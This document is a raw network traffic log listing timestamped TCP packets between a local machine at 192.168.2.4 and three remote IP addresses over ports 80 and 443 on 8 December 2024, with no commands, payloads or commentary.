Dec 8, 2024 18:06:19.954952955 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:19.954958916 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.999466896 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:19.999473095 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:20.046233892 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:20.128444910 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:20.131995916 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:20.132074118 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:20.132168055 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:20.132184982 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:20.132200003 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:20.132230043 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:20.132267952 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:20.132565022 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:20.132582903 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:20.132592916 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:20.132597923 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:20.264575005 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:20.264610052 CET	443	49795	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:20.264693975 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:20.265041113 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:20.265054941 CET	443	49795	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:20.334264994 CET	80	49790	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:20.334342957 CET	49790	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:21.479598999 CET	443	49795	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:21.479655027 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:21.480792046 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:21.480799913 CET	443	49795	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:21.481028080 CET	443	49795	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:21.482129097 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:21.482259035 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:21.482264042 CET	443	49795	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:21.482286930 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:21.482307911 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:21.482325077 CET	443	49795	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:21.482420921 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:21.523338079 CET	443	49795	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:21.843651056 CET	49790	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:21.843936920 CET	49800	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:21.964903116 CET	80	49800	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:21.965002060 CET	80	49790	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:21.965046883 CET	49800	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:21.965068102 CET	49790	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:21.965224028 CET	49800	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:22.091335058 CET	80	49800	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:22.562344074 CET	443	49795	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:22.562444925 CET	443	49795	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:22.562505007 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:22.562601089 CET	49795	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:22.652540922 CET	49802	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:22.652575970 CET	443	49802	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:22.652648926 CET	49802	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:22.652976036 CET	49802	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:22.652988911 CET	443	49802	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:23.344522953 CET	80	49800	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:23.344592094 CET	49800	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:23.869688034 CET	443	49802	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:23.869780064 CET	49802	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:23.870804071 CET	49802	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:23.870814085 CET	443	49802	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:23.871012926 CET	443	49802	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:23.871978998 CET	49802	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:23.872078896 CET	49802	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:23.872106075 CET	443	49802	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:24.968736887 CET	49800	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:24.969065905 CET	49808	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:25.000484943 CET	443	49802	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:25.000582933 CET	443	49802	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:25.000643015 CET	49802	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:25.000734091 CET	49802	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:25.000751972 CET	443	49802	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:25.088566065 CET	80	49800	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:25.088581085 CET	80	49808	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:25.088614941 CET	49800	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:25.088660955 CET	49808	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:25.088809967 CET	49808	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:25.204612017 CET	49810	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:25.204638004 CET	443	49810	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:25.204704046 CET	49810	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:25.204953909 CET	49810	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:25.204967976 CET	443	49810	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:25.208090067 CET	80	49808	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:26.419079065 CET	443	49810	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:26.419152975 CET	49810	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:26.420360088 CET	49810	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:26.420370102 CET	443	49810	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:26.420618057 CET	443	49810	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:26.421854019 CET	49810	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:26.421998024 CET	49810	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:26.422034979 CET	443	49810	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:26.422108889 CET	49810	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:26.422118902 CET	443	49810	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:26.430351019 CET	80	49808	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:26.430423021 CET	49808	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:27.305578947 CET	443	49810	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:27.305655003 CET	443	49810	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:27.305715084 CET	49810	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:27.305767059 CET	49810	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:27.305783033 CET	443	49810	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:27.896675110 CET	49819	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:27.896708965 CET	443	49819	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:27.896765947 CET	49819	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:27.897113085 CET	49819	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:27.897128105 CET	443	49819	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:27.937446117 CET	49808	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:27.937690973 CET	49820	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:28.057604074 CET	80	49820	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:28.057789087 CET	49820	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:28.058001995 CET	49820	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:28.058072090 CET	80	49808	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:28.058125973 CET	49808	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:28.177689075 CET	80	49820	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:29.112500906 CET	443	49819	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:29.112581968 CET	49819	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:29.113665104 CET	49819	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:29.113672972 CET	443	49819	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:29.113898993 CET	443	49819	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:29.115040064 CET	49819	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:29.115143061 CET	49819	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:29.115149021 CET	443	49819	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:29.395327091 CET	80	49820	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:29.395375967 CET	49820	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:29.860939980 CET	443	49819	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:29.861053944 CET	443	49819	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:29.861114025 CET	49819	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:29.861232042 CET	49819	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:29.861243010 CET	443	49819	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:30.254106998 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:30.254122972 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:30.254187107 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:30.254458904 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:30.254471064 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.017265081 CET	49820	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:31.017566919 CET	49828	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:31.138370037 CET	80	49828	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:31.139070034 CET	49828	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:31.139673948 CET	80	49820	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:31.139733076 CET	49820	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:31.142561913 CET	49828	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:31.267230034 CET	80	49828	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:31.476399899 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.476506948 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.498070002 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.498085022 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.498321056 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.509500980 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.522255898 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.522294044 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.522578955 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.522617102 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.523410082 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.523454905 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.524099112 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.524127960 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.524286985 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.524327040 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.524483919 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.524504900 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.524517059 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.524528980 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.524663925 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.524693012 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.524715900 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.524840117 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.524873018 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.571332932 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.574604988 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.574630976 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.574654102 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.574675083 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:31.574711084 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:31.574743032 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:32.491252899 CET	80	49828	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:32.494955063 CET	49828	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:33.764213085 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:33.764311075 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:33.764369965 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:33.764463902 CET	49826	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:33.764472961 CET	443	49826	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:33.792710066 CET	49834	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:33.792737961 CET	443	49834	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:33.792831898 CET	49834	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:33.793086052 CET	49834	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:33.793100119 CET	443	49834	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:34.000150919 CET	49828	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:34.000458956 CET	49836	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:34.120165110 CET	80	49828	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:34.120229959 CET	49828	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:34.169864893 CET	80	49836	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:34.169930935 CET	49836	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:34.172524929 CET	49836	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:34.292448044 CET	80	49836	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:35.143613100 CET	443	49834	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:35.143702984 CET	49834	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:35.144870996 CET	49834	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:35.144880056 CET	443	49834	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:35.145385981 CET	443	49834	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:35.146557093 CET	49834	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:35.146581888 CET	49834	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:35.146626949 CET	443	49834	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:35.513982058 CET	80	49836	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:35.514043093 CET	49836	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:36.233395100 CET	443	49834	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:36.233480930 CET	443	49834	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:36.233553886 CET	49834	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:36.233933926 CET	49834	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:36.233946085 CET	443	49834	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:36.233957052 CET	49834	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:36.233962059 CET	443	49834	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:36.695449114 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:36.695470095 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:36.695525885 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:36.696059942 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:36.696073055 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:37.140955925 CET	49836	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:37.141480923 CET	49846	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:37.266125917 CET	80	49846	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:37.266144991 CET	80	49836	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:37.266211033 CET	49846	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:37.266241074 CET	49836	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:37.279103994 CET	49846	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:37.400965929 CET	80	49846	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:37.916018009 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:37.916093111 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:37.917490005 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:37.917496920 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:37.917742968 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:37.918759108 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:37.963332891 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.603209972 CET	80	49846	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:38.603291035 CET	49846	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:38.641364098 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.641437054 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.641473055 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.641479969 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.641494989 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.641535997 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.641542912 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.649876118 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.649921894 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.649930000 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.658307076 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.658346891 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.658354044 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.666765928 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.666811943 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.666819096 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.723099947 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.762453079 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.811882019 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.811889887 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.837390900 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.837443113 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.837450027 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.845180035 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.845252037 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.845257998 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.852968931 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.853017092 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.853023052 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.860790014 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.860863924 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.860865116 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.860913992 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.861002922 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.861011028 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:38.861027002 CET	49845	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:38.861031055 CET	443	49845	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:40.202369928 CET	49846	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:40.206496954 CET	49853	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:40.326029062 CET	80	49846	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:40.326082945 CET	49846	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:40.329242945 CET	80	49853	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:40.329303980 CET	49853	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:40.330385923 CET	49853	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:40.449593067 CET	80	49853	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:40.703531981 CET	49855	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:40.703551054 CET	443	49855	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:40.703610897 CET	49855	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:40.718938112 CET	49855	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:40.718950987 CET	443	49855	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:41.708132982 CET	80	49853	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:41.708239079 CET	49853	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:41.932893038 CET	443	49855	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:41.933043003 CET	49855	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:41.934742928 CET	49855	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:41.934748888 CET	443	49855	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:41.934973001 CET	443	49855	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:41.978916883 CET	49855	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:42.023329973 CET	443	49855	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:42.354830980 CET	49855	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:42.354841948 CET	443	49855	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:42.367100954 CET	443	49855	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:42.421262980 CET	49855	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:42.997787952 CET	443	49855	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:42.997870922 CET	443	49855	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:42.997960091 CET	49855	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:43.009646893 CET	49855	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:43.021831036 CET	49861	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:43.021874905 CET	443	49861	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:43.021946907 CET	49861	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:43.022263050 CET	49861	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:43.022274017 CET	443	49861	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:43.330312014 CET	49853	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:43.330550909 CET	49865	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:43.450155020 CET	80	49865	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:43.450172901 CET	80	49853	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:43.450242043 CET	49865	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:43.450269938 CET	49853	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:43.450521946 CET	49865	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:43.576302052 CET	80	49865	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:44.239950895 CET	443	49861	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:44.241964102 CET	49861	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:44.241987944 CET	443	49861	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:44.608987093 CET	49861	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:44.609009981 CET	443	49861	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:44.677536011 CET	443	49861	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:44.719342947 CET	49861	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:44.807301998 CET	80	49865	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:44.807470083 CET	49865	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:45.289565086 CET	443	49861	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:45.289653063 CET	443	49861	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:45.290106058 CET	49861	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:45.290618896 CET	49861	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:45.292696953 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:45.292711973 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:45.293045044 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:45.295456886 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:45.295468092 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:46.312448025 CET	49865	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:46.312725067 CET	49872	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:46.436357021 CET	80	49872	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:46.436413050 CET	49872	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:46.436527014 CET	80	49865	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:46.436570883 CET	49865	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:46.436639071 CET	49872	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:46.560580969 CET	80	49872	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:46.568751097 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:46.571162939 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:46.571178913 CET	443	49868	104.21.9.168	192.168.2.4
